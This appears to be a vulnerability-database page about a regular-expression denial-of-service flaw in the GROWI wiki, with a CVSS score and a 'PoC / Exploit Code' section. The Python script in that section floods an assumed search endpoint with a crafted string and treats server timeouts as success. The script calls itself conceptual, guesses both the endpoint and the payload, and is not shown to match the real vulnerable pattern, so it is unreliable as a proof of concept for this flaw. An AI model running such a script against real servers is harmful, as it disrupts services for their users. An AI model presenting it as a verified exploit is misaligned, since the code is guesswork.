GROWI provided by GROWI, Inc. is vulnerable to a regular expression denial of service (ReDoS) via a crafted input string.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
GROWI (具体受影响版本请参考官方公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for ReDoS in GROWI (Conceptual)
# This script sends a payload that may trigger catastrophic backtracking.
import requests
target_url = "http://<target-growi-url>/api/search" # Example endpoint
# A common pattern causing ReDoS involves nested quantifiers or complex alternation
# Adjust the payload based on the specific vulnerable regex in GROWI
malicious_payload = {
"query": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!"
# Or a more complex string like (a+)+ if the regex allows
}
try:
print("Sending malicious payload...")
response = requests.post(target_url, data=malicious_payload, timeout=5)
print(f"Request completed with status: {response.status_code}")
except requests.exceptions.Timeout:
print("Potential DoS triggered: Server timed out responding to request.")
except requests.exceptions.ConnectionError:
print("Connection failed: Server may have crashed.")
except Exception as e:
print(f"An error occurred: {e}")